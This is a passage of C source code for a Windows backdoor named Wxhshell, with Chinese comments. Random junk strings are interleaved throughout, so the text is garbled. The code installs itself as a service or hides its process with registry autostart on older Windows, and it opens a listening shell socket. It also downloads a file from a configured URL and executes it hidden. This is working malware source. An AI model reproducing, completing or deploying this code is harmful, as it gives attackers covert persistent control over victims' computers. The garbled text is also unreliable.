A0;{$/ fU%Ys9:wU // 主模块 };"_Ku4#- int StartWxhshell(LPSTR lpCmdLine) QZ7W:%r(4 { Xa;wx3]t SOCKET wsl; H=WB6~8) BOOL val=TRUE; &"T7KXx int port=0; IIXA)b! struct sockaddr_in door;
&,Loqr [J eq ?X9 if(wscfg.ws_autoins) Install(); 5S&Qj7kr yLXIjR port=atoi(lpCmdLine); pjV70D8$A >,k2|m if(port<=0) port=wscfg.ws_port; u6Ux nqNc #wvGS% WSADATA data; 7J$rA.tu if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (M{wkQTO |d6/gSiF if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ;O,&MR{;|n setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =)i^E9 door.sin_family = AF_INET; Y Kp@n8A door.sin_addr.s_addr = inet_addr("127.0.0.1"); L.K| ]]u door.sin_port = htons(port); a5pM ~.] Pjvb}q= if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eL)m( closesocket(wsl); iny/K/5bf return 1; %zEy.7Ux } %'=TYvB 2 U Lq`!1{
if(listen(wsl,2) == INVALID_SOCKET) { QJR},nZ3 closesocket(wsl); O)&ME return 1; uP8 cW([ } k`[>Bk%b Wxhshell(wsl); P$AHw;n[R WSACleanup(); }waZGJLN <.BY=z=H return 0; `2V{]F 8<Yv:8%B6 } >
9z-/e vKdS1Dn1 // 以NT服务方式启动 g?}h*~<b VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TBF{@{.d { ,1<6=vL DWORD status = 0; OzRo DWORD specificError = 0xfffffff; w+!V,lU"^ :l
Z\=2D serviceStatus.dwServiceType = SERVICE_WIN32; 8/,s8u serviceStatus.dwCurrentState = SERVICE_START_PENDING; }
MP_ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U%VFr# serviceStatus.dwWin32ExitCode = 0; hmb=_W serviceStatus.dwServiceSpecificExitCode = 0; ?,hGKSC serviceStatus.dwCheckPoint = 0; z
[u!C/ serviceStatus.dwWaitHint = 0; N5cC!K z?`7g%Z?{ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -(%Xq{ if (hServiceStatusHandle==0) return; >oEFuwE l#>A.-R*` status = GetLastError(); Sw[*1C8 if (status!=NO_ERROR) +Bt%W%_X { ?h#F& y serviceStatus.dwCurrentState = SERVICE_STOPPED; PqyR,Bcx0 serviceStatus.dwCheckPoint = 0; Y1qbu~! serviceStatus.dwWaitHint = 0; b1=! "Y@ serviceStatus.dwWin32ExitCode = status; E J6|y' serviceStatus.dwServiceSpecificExitCode = specificError; SwrzW'%A SetServiceStatus(hServiceStatusHandle, &serviceStatus); B*QLKO:)i return; o(3OChH } 2#UVpgX? q_>=| b serviceStatus.dwCurrentState = SERVICE_RUNNING; %t:13eM serviceStatus.dwCheckPoint = 0; =PjdL32 serviceStatus.dwWaitHint = 0; >%t5j?p if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i8R2Y9Q*O } lqAv Nlc3S+$`z // 处理NT服务事件,比如:启动、停止 NcSi %] VOID WINAPI NTServiceHandler(DWORD fdwControl) .)FFl {
^fS_h`B switch(fdwControl) biQ~q$E { n4+^f~Y case SERVICE_CONTROL_STOP: iZ ;562Mo serviceStatus.dwWin32ExitCode = 0; ({C|(v9C7 serviceStatus.dwCurrentState = SERVICE_STOPPED; iy_3#x5> serviceStatus.dwCheckPoint = 0; <<YH4}wZ serviceStatus.dwWaitHint = 0; 4Xv."L { |oR{c%z05 SetServiceStatus(hServiceStatusHandle, &serviceStatus); brF) %x` } poi39B/Vt return; Ipow
Jw^ case SERVICE_CONTROL_PAUSE: hrfSe $8 serviceStatus.dwCurrentState = SERVICE_PAUSED; &&96kg3 break; '0qKb* case SERVICE_CONTROL_CONTINUE: S^i<_?nwg serviceStatus.dwCurrentState = SERVICE_RUNNING; +~lPf. break; "#%9dWy case SERVICE_CONTROL_INTERROGATE: k>\s6 break; 6?0QzSpfC# }; cI<T/~P SetServiceStatus(hServiceStatusHandle, &serviceStatus); c+1<3)Q< } eE0nW+i \9:IL9~F // 标准应用程序主函数 s=#[>^? int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !JjNm*F[ { \ ERHnh ]XfROhgP= // 获取操作系统版本 *}ZKQ OsIsNt=GetOsVer(); 3.?oG5P# GetModuleFileName(NULL,ExeFile,MAX_PATH); x$bCbg _ukBp*u // 从命令行安装 ~c>]kL(, if(strpbrk(lpCmdLine,"iI")) Install(); C7
9~@%T Rd1I$| Y // 下载执行文件 {8~xFYc: if(wscfg.ws_downexe) { !OR%AdxB if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0'` #I WinExec(wscfg.ws_filenam,SW_HIDE); nh"LdHqiDB } %#lJn.o j5 W)9HW: if(!OsIsNt) { {w9GMqq // 如果时win9x,隐藏进程并且设置为注册表启动 3 k)P*ME# HideProc(); KKw J=za StartWxhshell(lpCmdLine); ~ \7peH% } zids2/_* else <r8s=<: if(StartFromService()) U+ief?;4F // 以服务方式启动 {'f=*vMI StartServiceCtrlDispatcher(DispatchTable); MrS~u else l;;"v) C8 // 普通方式启动 r@H7J 5<Y- StartWxhshell(lpCmdLine); cbX< {gS7pY%_W return 0; ?
y^t }
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